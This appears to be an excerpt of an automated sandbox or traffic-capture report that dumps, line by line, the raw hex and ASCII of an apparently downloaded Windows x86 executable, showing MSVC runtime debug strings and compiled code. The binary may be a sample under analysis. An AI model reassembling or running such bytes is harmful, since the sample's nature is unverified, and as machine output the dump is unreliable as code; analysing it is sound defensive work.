2022-08-31 12:28:59 UTC	512	IN	Data Raw: 00 6f 00 63 00 5f 00 75 00 70 00 64 00 61 00 74 00 65 00 2e 00 47 00 65 00 74 00 4c 00 6f 00 63 00 61 00 6c 00 65 00 54 00 28 00 29 00 2d 00 3e 00 6c 00 6f 00 63 00 69 00 6e 00 66 00 6f 00 2d 00 3e 00 6d 00 62 00 5f 00 63 00 75 00 72 00 5f 00 6d 00 61 00 78 00 20 00 3d 00 3d 00 20 00 31 00 20 00 7c 00 7c 00 20 00 5f 00 6c 00 6f 00 63 00 5f 00 75 00 70 00 64 00 61 00 74 00 65 00 2e 00 47 00 65 00 74 00 4c 00 6f 00 63 00 61 00 6c 00 65 00 54 00 28 00 29 00 2d 00 3e 00 6c 00 6f 00 63 00 69 00 6e 00 66 00 6f 00 2d 00 3e 00 6d 00 62 00 5f 00 63 00 75 00 72 00 5f 00 6d 00 61 00 78 00 20 00 3d 00 3d 00 20 00 32 00 00 00 00 00 5f 00 66 00 69 00 6c 00 65 00 6e 00 6f 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 Data Ascii: oc_update.GetLocaleT()->locinfo->mb_cur_max == 1 \|\| _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2_filenof:\dd\vctools
2022-08-31 12:28:59 UTC	513	IN	Data Raw: 20 00 53 00 54 00 5f 00 4e 00 4f 00 52 00 4d 00 41 00 4c 00 29 00 20 00 7c 00 7c 00 20 00 28 00 73 00 74 00 61 00 74 00 65 00 20 00 3d 00 3d 00 20 00 53 00 54 00 5f 00 54 00 59 00 50 00 45 00 29 00 29 00 00 00 00 00 00 00 00 00 28 00 22 00 49 00 6e 00 63 00 6f 00 72 00 72 00 65 00 63 00 74 00 20 00 66 00 6f 00 72 00 6d 00 61 00 74 00 20 00 73 00 70 00 65 00 63 00 69 00 66 00 69 00 65 00 72 00 22 00 2c 00 20 00 30 00 29 00 00 00 5f 00 6f 00 75 00 74 00 70 00 75 00 74 00 5f 00 73 00 5f 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ST_NORMAL) \|\| (state == ST_TYPE))("Incorrect format specifier", 0)_output_s_l
2022-08-31 12:28:59 UTC	514	IN	Data Raw: 01 01 01 10 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 10 00 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 01 01 00 00 00 00 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 Data Ascii: !"#
2022-08-31 12:28:59 UTC	516	IN	Data Raw: 00 00 73 00 74 00 72 00 69 00 6e 00 67 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 20 00 26 00 26 00 20 00 73 00 69 00 7a 00 65 00 49 00 6e 00 42 00 79 00 74 00 65 00 73 00 20 00 3e 00 20 00 30 00 00 00 5f 00 76 00 73 00 70 00 72 00 69 00 6e 00 74 00 66 00 5f 00 73 00 5f 00 6c 00 00 00 66 00 6f 00 72 00 6d 00 61 00 74 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 5f 00 76 00 73 00 6e 00 70 00 72 00 69 00 6e 00 74 00 66 00 5f 00 73 00 5f 00 6c 00 00 00 00 00 5f 00 6d 00 62 00 73 00 74 00 6f 00 77 00 63 00 73 00 5f 00 6c 00 5f 00 68 00 65 00 6c 00 70 00 65 00 72 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f Data Ascii: string != NULL && sizeInBytes > 0_vsprintf_s_lformat != NULL_vsnprintf_s_l_mbstowcs_l_helperf:\dd\vctools\crt_bld\self_
2022-08-31 12:28:59 UTC	517	IN	Data Raw: 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 76 00 73 00 77 00 70 00 72 00 69 00 6e 00 74 00 2e 00 63 00 00 00 00 00 00 00 73 00 74 00 72 00 69 00 6e 00 67 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 20 00 26 00 26 00 20 00 73 00 69 00 7a 00 65 00 49 00 6e 00 57 00 6f 00 72 00 64 00 73 00 20 00 3e 00 20 00 30 00 00 00 5f 00 76 00 73 00 6e 00 77 00 70 00 72 00 69 00 6e 00 74 00 66 00 5f 00 73 00 5f 00 6c 00 00 00 78 00 74 00 6f 00 77 00 5f 00 73 00 00 00 00 00 1f 03 08 00 5f 00 5f 00 73 00 74 00 72 00 67 00 74 00 6f 00 6c 00 64 00 31 00 32 00 5f 00 6c 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 Data Ascii: tools\crt_bld\self_x86\crt\src\vswprint.cstring != NULL && sizeInWords > 0_vsnwprintf_s_lxtow_s__strgtold12_lf:\dd\v
2022-08-31 12:28:59 UTC	518	IN	Data Raw: 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 63 00 6f 00 6d 00 6d 00 69 00 74 00 2e 00 63 00 00 00 28 00 66 00 69 00 6c 00 65 00 64 00 65 00 73 00 20 00 3e 00 3d 00 20 00 30 00 20 00 26 00 26 00 20 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 66 00 69 00 6c 00 65 00 64 00 65 00 73 00 20 00 3c 00 20 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 5f 00 6e 00 68 00 61 00 6e 00 64 00 6c 00 65 00 29 00 00 00 00 00 28 00 5f 00 6f 00 73 00 66 00 69 00 6c 00 65 00 28 00 66 00 68 00 29 00 20 00 26 00 20 00 46 00 4f 00 50 00 45 00 4e 00 29 00 00 00 5f 00 77 00 72 00 69 Data Ascii: d\vctools\crt_bld\self_x86\crt\src\commit.c(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)(_osfile(fh) & FOPEN)_wri
2022-08-31 12:28:59 UTC	520	IN	Data Raw: 3a 20 20 0a 0d 09 63 68 61 72 20 63 20 3d 20 28 69 20 26 20 30 78 46 46 29 3b 0a 0d 43 68 61 6e 67 69 6e 67 20 74 68 65 20 63 6f 64 65 20 69 6e 20 74 68 69 73 20 77 61 79 20 77 69 6c 6c 20 6e 6f 74 20 61 66 66 65 63 74 20 74 68 65 20 71 75 61 6c 69 74 79 20 6f 66 20 74 68 65 20 72 65 73 75 6c 74 69 6e 67 20 6f 70 74 69 6d 69 7a 65 64 20 63 6f 64 65 2e 0a 0d 00 00 00 00 54 68 65 20 76 61 6c 75 65 20 6f 66 20 45 53 50 20 77 61 73 20 6e 6f 74 20 70 72 6f 70 65 72 6c 79 20 73 61 76 65 64 20 61 63 72 6f 73 73 20 61 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 2e 20 20 54 68 69 73 20 69 73 20 75 73 75 61 6c 6c 79 20 61 20 72 65 73 75 6c 74 20 6f 66 20 63 61 6c 6c 69 6e 67 20 61 20 66 75 6e 63 74 69 6f 6e 20 64 65 63 6c 61 72 65 64 20 77 69 74 68 20 6f 6e 65 20 63 Data Ascii: : char c = (i & 0xFF);Changing the code in this way will not affect the quality of the resulting optimized code.The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one c
2022-08-31 12:28:59 UTC	521	IN	Data Raw: 64 00 00 4c 6f 63 61 6c 20 76 61 72 69 61 62 6c 65 20 75 73 65 64 20 62 65 66 6f 72 65 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 00 00 00 53 74 61 63 6b 20 6d 65 6d 6f 72 79 20 63 6f 72 72 75 70 74 69 6f 6e 00 43 61 73 74 20 74 6f 20 73 6d 61 6c 6c 65 72 20 74 79 70 65 20 63 61 75 73 69 6e 67 20 6c 6f 73 73 20 6f 66 20 64 61 74 61 00 00 00 53 74 61 63 6b 20 70 6f 69 6e 74 65 72 20 63 6f 72 72 75 70 74 69 6f 6e 00 00 00 00 f8 8e 40 00 cc 8e 40 00 b4 8e 40 00 88 8e 40 00 68 8e 40 00 43 4f 4e 4f 55 54 24 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dLocal variable used before initializationStack memory corruptionCast to smaller type causing loss of dataStack pointer corruption@@@@h@CONOUT$H
2022-08-31 12:28:59 UTC	522	IN	Data Raw: 1c 00 00 e8 1a 0e 00 00 83 3d 3c d5 c1 00 37 0f 85 bd 00 00 00 56 57 33 c0 33 f6 89 75 e8 8d 7d ec ab ab ab ab 8d 45 e8 50 8d 45 cc 50 56 ff 15 40 10 40 00 56 56 ff 15 3c 10 40 00 56 ff 15 38 10 40 00 8b 3d 34 10 40 00 56 56 56 ff d7 68 38 14 40 00 68 4c 14 40 00 56 ff 15 30 10 40 00 8d 45 fc 50 8d 85 14 f7 ff ff 50 56 ff d7 56 8d 85 14 ef ff ff 50 56 ff 15 2c 10 40 00 56 8d 45 b0 50 56 ff 15 28 10 40 00 56 56 ff 15 24 10 40 00 56 ff 15 20 10 40 00 56 8d 85 14 eb ff ff 50 56 ff 15 1c 10 40 00 56 56 56 8d 85 14 ff ff ff 50 ff 15 c0 10 40 00 56 8d 85 14 e3 ff ff 50 68 60 14 40 00 ff 15 64 11 40 00 56 ff 15 6c 11 40 00 5f 5e 8b 45 08 8b 0d c0 f0 c1 00 8a 8c 01 d6 38 00 00 8b 15 38 cf c1 00 88 0c 02 c9 c2 04 00 ff 25 38 cf c1 00 81 05 38 cf c1 00 00 00 00 00 Data Ascii: =<7VW33u}EPEPV@@VV<@V8@=4@VVVh8@hL@V0@EPPVVPV,@VEPV(@VV$@V @VPV@VVVP@VPh`@d@Vl@_^E88%88
2022-08-31 12:28:59 UTC	524	IN	Data Raw: ff 15 b8 10 40 00 53 8d 85 d4 f8 ff ff 50 53 ff 15 b4 10 40 00 8d 45 c4 50 ff 15 b0 10 40 00 68 10 15 40 00 53 ff 15 ac 10 40 00 53 ff d7 53 53 8d 85 d4 ec ff ff 50 53 53 53 53 ff 15 a8 10 40 00 53 53 53 53 53 53 ff 15 00 11 40 00 53 53 53 8d 85 f4 fe ff ff 50 ff 15 c0 10 40 00 53 ff d6 8d 45 fc 50 ff 15 a4 10 40 00 53 ff d6 ff 15 a0 10 40 00 ff 15 9c 10 40 00 ff 15 98 10 40 00 83 3d 3c d5 c1 00 1d 0f 85 0b 01 00 00 53 8d 45 fc 50 53 53 53 ff 15 94 10 40 00 53 53 8d 85 d4 f8 ff ff 50 ff 15 90 10 40 00 53 53 53 ff 15 8c 10 40 00 53 53 53 ff 15 88 10 40 00 53 8d 85 d4 e4 ff ff 50 53 ff 15 2c 10 40 00 53 ff 15 cc 10 40 00 53 53 53 ff 15 84 10 40 00 53 53 53 ff 15 80 10 40 00 68 40 15 40 00 ff 15 7c 10 40 00 53 53 ff 15 78 10 40 00 8d 85 d4 fc ff ff 50 53 53 Data Ascii: @SPS@EP@h@S@SSSPSSSS@SSSSSS@SSSP@SEP@S@@@=<SEPSSS@SSP@SSS@SSS@SPS,@S@SSS@SSS@h@@\|@SSx@PSS
2022-08-31 12:28:59 UTC	525	IN	Data Raw: 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 89 4d fc 8b 45 fc c7 00 e4 16 40 00 8b 4d fc 51 e8 25 3d 00 00 83 c4 04 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 89 4d fc 8b 4d fc e8 bf ff ff ff 8b 45 08 83 e0 01 74 0c 8b 4d fc 51 e8 3e 00 00 00 83 c4 04 8b 45 fc 8b e5 5d c2 04 00 cc cc 8b ff 55 8b ec 51 89 4d fc 8b 45 fc 83 c0 09 50 8b 4d 08 83 c1 09 51 e8 04 3e 00 00 83 c4 08 f7 d8 1b c0 83 c0 01 8b e5 5d c2 04 00 cc cc cc cc 8b ff 55 8b ec 6a fe 68 90 09 43 00 68 20 e5 40 00 64 a1 00 00 00 00 50 83 c4 f4 53 56 57 a1 c4 ed 81 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 83 7d 08 00 75 05 e9 98 00 00 00 6a 04 e8 dc 40 00 00 83 c4 04 c7 45 fc 00 00 00 00 8b 45 08 83 e8 20 89 45 e4 8b 4d e4 8b 51 14 81 e2 Data Ascii: ]UQME@MQ%=]UQMMEtMQ>E]UQMEPMQ>]UjhCh @dPSVW1E3PEd}uj@EE EMQ
2022-08-31 12:28:59 UTC	526	IN	Data Raw: cc cc cc cc cc cc cc 8b ff 55 8b ec 6a 01 6a 00 6a 00 e8 c0 01 00 00 83 c4 0c 5d c3 cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a 01 6a 01 6a 00 e8 a0 01 00 00 83 c4 0c 5d c3 cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 e8 75 74 00 00 8b 45 08 50 e8 bc 74 00 00 83 c4 04 8b 0d 60 ec 81 00 51 e8 8d 6c 00 00 83 c4 04 89 45 fc 68 ff 00 00 00 ff 55 fc 83 c4 04 8b e5 5d c3 cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 a1 e4 f0 c1 00 89 45 fc eb 09 8b 4d fc 83 c1 04 89 4d fc 83 7d fc 00 74 1a 8b 55 fc 83 3a 00 74 12 6a 02 8b 45 fc 8b 08 51 e8 5c 1c 00 00 83 c4 08 eb d7 6a 02 8b 15 e4 f0 c1 00 52 e8 49 1c 00 00 83 c4 08 c7 05 e4 f0 c1 00 00 00 00 00 a1 dc f0 c1 00 89 45 fc eb 09 8b 4d fc 83 c1 04 89 4d fc 83 7d fc 00 74 1a 8b 55 fc 83 3a 00 74 12 6a 02 8b Data Ascii: Ujjj]Ujjj]UQutEPt`QlEhU]UQEMM}tU:tjEQ\jRIEMM}tU:tj
2022-08-31 12:28:59 UTC	528	IN	Data Raw: 0a 8b 55 08 8b 02 ff d0 89 45 fc 8b 4d 08 83 c1 04 89 4d 08 eb d5 8b 45 fc 8b e5 5d c3 cc 8b ff 55 8b ec 81 ec 30 03 00 00 a1 c4 ed 81 00 33 c5 89 45 f0 c7 45 fc 00 00 00 00 a1 64 ec 81 00 83 e0 01 74 0a 6a 0a e8 73 6f 00 00 83 c4 04 e8 1b 86 00 00 89 45 fc 83 7d fc 00 74 0a 6a 16 e8 9b 82 00 00 83 c4 04 8b 0d 64 ec 81 00 83 e1 02 0f 84 c7 00 00 00 89 85 d0 fd ff ff 89 8d cc fd ff ff 89 95 c8 fd ff ff 89 9d c4 fd ff ff 89 b5 c0 fd ff ff 89 bd bc fd ff ff 66 8c 95 e8 fd ff ff 66 8c 8d dc fd ff ff 66 8c 9d b8 fd ff ff 66 8c 85 b4 fd ff ff 66 8c a5 b0 fd ff ff 66 8c ad ac fd ff ff 9c 8f 85 e0 fd ff ff c7 85 20 fd ff ff 01 00 01 00 8b 55 04 89 95 d8 fd ff ff 8d 45 04 89 85 e4 fd ff ff 8d 4d 04 8b 51 fc 89 95 d4 fd ff ff 6a 50 6a 00 8d 85 d0 fc ff ff 50 e8 ec Data Ascii: UEMME]U03EEdtjsoE}tjdffffff UEMQjPjP
2022-08-31 12:28:59 UTC	529	IN	Data Raw: cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 10 0a 43 00 68 20 e5 40 00 64 a1 00 00 00 00 50 83 c4 94 53 56 57 a1 c4 ed 81 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 89 65 e8 c7 45 90 00 00 00 00 c7 45 fc 00 00 00 00 8d 45 a0 50 ff 15 a0 11 40 00 c7 45 fc fe ff ff ff eb 26 b8 01 00 00 00 c3 8b 65 e8 c7 45 88 ff 00 00 00 c7 45 fc fe ff ff ff 8b 45 88 e9 53 01 00 00 c7 45 fc fe ff ff ff e8 8f 01 00 00 89 45 94 6a 01 e8 e5 c6 00 00 83 c4 04 85 c0 75 0a 6a 1c e8 47 01 00 00 83 c4 04 e8 9f 62 00 00 85 c0 75 0a 6a 10 e8 34 01 00 00 83 c4 04 6a 01 e8 ba 28 00 00 83 c4 04 e8 32 5e 00 00 c7 45 fc 01 00 00 00 e8 e6 c1 00 00 85 c0 7d 0a 6a 1b e8 bb f4 ff ff 83 c4 04 ff 15 98 10 40 00 a3 50 0d c2 00 e8 a8 bf 00 00 a3 0c f1 c1 00 e8 0e bb 00 00 85 c0 7d 0a 6a 08 e8 93 Data Ascii: UjhCh @dPSVW1E3PEdeEEEP@E&eEEESEEjujGbuj4j(2^E}j@P}j
2022-08-31 12:28:59 UTC	530	IN	Data Raw: c0 74 0a e8 84 7f 00 00 8b 4d fc 89 08 8b 45 f8 8b e5 5d c3 cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 8b 45 1c 50 8b 4d 18 51 8b 55 14 52 8b 45 10 50 8b 4d 08 51 e8 51 00 00 00 83 c4 14 89 45 fc 83 7d fc 00 74 05 8b 45 fc eb 33 83 7d 0c 00 75 0e 8b 55 1c c7 02 0c 00 00 00 8b 45 fc eb 1f 8b 45 08 50 e8 33 7e 00 00 83 c4 04 85 c0 75 0d 8b 4d 1c c7 01 0c 00 00 00 33 c0 eb 02 eb a3 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 58 0a 43 00 68 20 e5 40 00 64 a1 00 00 00 00 50 83 c4 e4 53 56 57 a1 c4 ed 81 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 c7 45 e4 00 00 00 00 c7 45 e0 00 00 00 00 6a 04 e8 89 2b 00 00 83 c4 04 c7 45 fc 00 00 00 00 83 3d 38 f1 c1 00 00 76 55 a1 38 f1 c1 00 83 e8 01 39 05 20 f1 c1 00 75 36 e8 d1 13 00 00 85 c0 75 21 Data Ascii: tME]UQEPMQUREPMQQE}tE3}uUEEP3~uM3]UjhXCh @dPSVW1E3PEdEEj+E=8vU89 u6u!
2022-08-31 12:28:59 UTC	532	IN	Data Raw: 4d fc 89 08 8b 45 f8 8b e5 5d c3 cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 78 0a 43 00 68 20 e5 40 00 64 a1 00 00 00 00 50 83 c4 f4 53 56 57 a1 c4 ed 81 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 6a 04 e8 b7 26 00 00 83 c4 04 c7 45 fc 00 00 00 00 6a 01 8b 45 18 50 8b 4d 14 51 8b 55 10 52 8d 45 0c 50 8b 4d 08 51 e8 42 00 00 00 83 c4 18 89 45 e4 c7 45 fc fe ff ff ff e8 02 00 00 00 eb 0b 6a 04 e8 b7 26 00 00 83 c4 04 c3 8b 45 e4 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 c7 45 f8 00 00 00 00 8b 45 0c 8b 08 89 4d fc 83 7d 08 00 75 1d 8b 55 18 52 8b 45 14 50 8b 4d 10 51 8b 55 fc 52 e8 4e f9 ff ff 83 c4 10 e9 bb 05 00 00 83 7d 1c 00 74 1d 83 7d fc 00 75 17 8b 45 10 50 8b 4d Data Ascii: ME]UjhxCh @dPSVW1E3PEdj&EjEPMQUREPMQBEEj&EMdY_^[]UEEM}uUREPMQURN}t}uEPM
2022-08-31 12:28:59 UTC	533	IN	Data Raw: 1b 8b 45 f0 8b 4d 14 89 48 08 8b 55 f0 8b 45 18 89 42 0c 8b 4d f0 8b 55 e8 89 51 18 8b 45 f0 8b 4d fc 89 48 10 83 7d 1c 00 75 2f 83 7d 1c 00 75 08 8b 55 f0 3b 55 f4 74 21 68 d0 1b 40 00 6a 00 68 83 03 00 00 68 78 1a 40 00 6a 02 e8 b9 21 00 00 83 c4 14 83 f8 01 75 01 cc 8b 4d f0 3b 4d f4 74 06 83 7d f8 00 74 08 8b 45 ec e9 df 00 00 00 8b 55 f0 83 3a 00 74 10 8b 45 f0 8b 08 8b 55 f0 8b 42 04 89 41 04 eb 38 8b 0d 1c f1 c1 00 3b 4d f4 74 21 68 98 1b 40 00 6a 00 68 94 03 00 00 68 78 1a 40 00 6a 02 e8 5f 21 00 00 83 c4 14 83 f8 01 75 01 cc 8b 45 f0 8b 48 04 89 0d 1c f1 c1 00 8b 55 f0 83 7a 04 00 74 0f 8b 45 f0 8b 48 04 8b 55 f0 8b 02 89 01 eb 37 8b 0d 28 f1 c1 00 3b 4d f4 74 21 68 64 1b 40 00 6a 00 68 9f 03 00 00 68 78 1a 40 00 6a 02 e8 0f 21 00 00 83 c4 14 83 Data Ascii: EMHUEBMUQEMH}u/}uU;Ut!h@jhhx@j!uM;Mt}tEU:tEUBA8;Mt!h@jhhx@j_!uEHUztEHU7(;Mt!hd@jhhx@j!
2022-08-31 12:28:59 UTC	534	IN	Data Raw: 83 c4 0c 85 c0 0f 85 92 00 00 00 8b 55 fc 83 7a 08 00 74 4d 8b 45 fc 8b 48 0c 51 8b 55 fc 8b 42 08 50 8b 4d fc 83 c1 20 51 8b 55 fc 8b 42 18 50 8b 4d fc 8b 51 14 81 e2 ff ff 00 00 8b 04 95 a4 19 40 00 50 68 a0 20 40 00 6a 00 6a 00 6a 00 6a 01 e8 2b b4 00 00 83 c4 28 83 f8 01 75 01 cc eb 3c 8b 55 fc 83 c2 20 52 8b 45 fc 8b 48 18 51 8b 55 fc 8b 42 14 25 ff ff 00 00 8b 0c 85 a4 19 40 00 51 68 18 20 40 00 6a 00 6a 00 6a 00 6a 01 e8 ed b3 00 00 83 c4 20 83 f8 01 75 01 cc 8b 45 fc 83 78 14 03 75 65 8b 4d fc 81 79 0c bc ba dc fe 75 09 8b 55 fc 83 7a 18 00 74 21 68 98 1f 40 00 6a 00 68 64 05 00 00 68 78 1a 40 00 6a 02 e8 de 1b 00 00 83 c4 14 83 f8 01 75 01 cc 8b 4d fc 8b 51 10 83 c2 24 52 0f b6 05 86 ec 81 00 50 8b 4d fc 51 e8 3a dd ff ff 83 c4 0c 8b 55 fc 52 e8 Data Ascii: UztMEHQUBPM QUBPMQ@Ph @jjjj+(u<U REHQUB%@Qh @jjjj uExueMyuUzt!h@jhdhx@juMQ$RPMQ:UR
2022-08-31 12:28:59 UTC	536	IN	Data Raw: 25 40 00 68 14 1a 40 00 6a 00 6a 00 6a 00 6a 00 e8 13 af 00 00 83 c4 18 83 f8 01 75 01 cc e9 86 00 00 00 68 1c 25 40 00 68 14 1a 40 00 6a 00 6a 00 6a 00 6a 00 e8 ee ae 00 00 83 c4 18 83 f8 01 75 01 cc eb 64 68 f8 24 40 00 68 14 1a 40 00 6a 00 6a 00 6a 00 6a 00 e8 cc ae 00 00 83 c4 18 83 f8 01 75 01 cc eb 42 68 d4 24 40 00 68 14 1a 40 00 6a 00 6a 00 6a 00 6a 00 e8 aa ae 00 00 83 c4 18 83 f8 01 75 01 cc eb 20 68 a8 24 40 00 68 14 1a 40 00 6a 00 6a 00 6a 00 6a 00 e8 88 ae 00 00 83 c4 18 83 f8 01 75 01 cc c7 45 dc 00 00 00 00 e9 ca 02 00 00 c7 45 dc 01 00 00 00 a1 28 f1 c1 00 89 45 e4 eb 08 8b 4d e4 8b 11 89 55 e4 83 7d e4 00 0f 84 a7 02 00 00 c7 45 d8 01 00 00 00 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 83 f9 04 74 23 8b 55 e4 83 7a 14 01 74 1a 8b 45 e4 8b 48 14 Data Ascii: %@h@jjjjuh%@h@jjjjudh$@h@jjjjuBh$@h@jjjju h$@h@jjjjuEE(EMU}EEHt#UztEH
2022-08-31 12:28:59 UTC	537	IN	Data Raw: fc c1 00 03 75 49 8b 4d 08 83 e9 20 51 e8 3d b7 00 00 83 c4 04 89 45 fc 83 7d fc 00 74 17 8b 55 08 83 ea 20 52 8b 45 fc 50 e8 81 b7 00 00 83 c4 08 eb 32 eb 18 8b 4d 08 83 e9 20 51 6a 00 8b 15 44 f7 c1 00 52 ff 15 a4 11 40 00 eb 18 eb 16 8b 45 08 83 e8 20 50 6a 00 8b 0d 44 f7 c1 00 51 ff 15 a4 11 40 00 8b e5 5d c3 cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 18 0b 43 00 68 20 e5 40 00 64 a1 00 00 00 00 50 83 c4 ec 53 56 57 a1 c4 ed 81 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 33 c0 83 7d 08 00 0f 95 c0 89 45 dc 83 7d dc 00 75 21 68 90 27 40 00 6a 00 68 f2 08 00 00 68 78 1a 40 00 6a 02 e8 34 11 00 00 83 c4 14 83 f8 01 75 01 cc 83 7d dc 00 75 2e e8 f0 63 00 00 c7 00 16 00 00 00 6a 00 68 f2 08 00 00 68 78 1a 40 00 68 6c 27 40 00 68 90 27 40 00 e8 4f 60 00 Data Ascii: uIM Q=E}tU REP2M QjDR@E PjDQ@]UjhCh @dPSVW1E3PEd3}E}u!h'@jhhx@j4u}u.cjhhx@hl'@h'@O`
2022-08-31 12:28:59 UTC	538	IN	Data Raw: 00 6a 00 6a 00 6a 00 6a 00 e8 68 a4 00 00 83 c4 18 83 f8 01 75 01 cc 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 83 f9 04 0f 85 83 00 00 00 8b 55 e4 8b 42 10 50 8b 4d e4 8b 51 14 c1 fa 10 81 e2 ff ff 00 00 52 8b 45 e4 83 c0 20 50 68 1c 28 40 00 6a 00 6a 00 6a 00 6a 00 e8 1a a4 00 00 83 c4 20 83 f8 01 75 01 cc 83 3d 2c f1 c1 00 00 74 2c 6a 01 8b 55 e4 83 c2 20 52 ff 15 a8 11 40 00 85 c0 75 19 8b 45 e4 8b 48 10 51 8b 55 e4 83 c2 20 52 ff 15 2c f1 c1 00 83 c4 08 eb 10 8b 45 e4 50 8b 4d 0c 51 e8 ff 00 00 00 83 c4 08 e9 9e 00 00 00 8b 55 e4 83 7a 14 01 75 3b 8b 45 e4 8b 48 10 51 8b 55 e4 83 c2 20 52 68 f4 27 40 00 6a 00 6a 00 6a 00 6a 00 e8 9e a3 00 00 83 c4 1c 83 f8 01 75 01 cc 8b 4d e4 51 8b 55 0c 52 e8 b8 00 00 00 83 c4 08 eb 5a 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 Data Ascii: jjjjhuEHUBPMQRE Ph(@jjjj u=,t,jU R@uEHQU R,EPMQUzu;EHQU Rh'@jjjjuMQURZEH
2022-08-31 12:28:59 UTC	540	IN	Data Raw: 00 6a 00 6a 13 68 a0 29 40 00 68 88 29 40 00 68 60 29 40 00 e8 84 56 00 00 83 c4 14 b8 16 00 00 00 e9 87 01 00 00 8b 4d 08 89 4d fc 8b 55 0c 89 55 f8 8b 45 fc 8b 4d 10 8a 11 88 10 8b 45 fc 0f be 08 8b 55 fc 83 c2 01 89 55 fc 8b 45 10 83 c0 01 89 45 10 85 c9 74 0d 8b 4d f8 83 e9 01 89 4d f8 74 02 eb cd 83 7d f8 00 0f 85 cf 00 00 00 8b 55 08 c6 02 00 83 7d 0c ff 74 49 81 7d 0c ff ff ff 7f 74 40 83 7d 0c 01 76 3a 8b 45 0c 83 e8 01 39 05 78 ec 81 00 73 0b 8b 0d 78 ec 81 00 89 4d e0 eb 09 8b 55 0c 83 ea 01 89 55 e0 8b 45 e0 50 68 fe 00 00 00 8b 4d 08 83 c1 01 51 e8 0c c8 ff ff 83 c4 0c ba 38 29 40 00 85 d2 74 0d 33 c0 74 09 c7 45 dc 01 00 00 00 eb 07 c7 45 dc 00 00 00 00 8b 4d dc 89 4d ec 83 7d ec 00 75 1e 68 fc 28 40 00 6a 00 6a 1e 68 a0 29 40 00 6a 02 e8 4b Data Ascii: 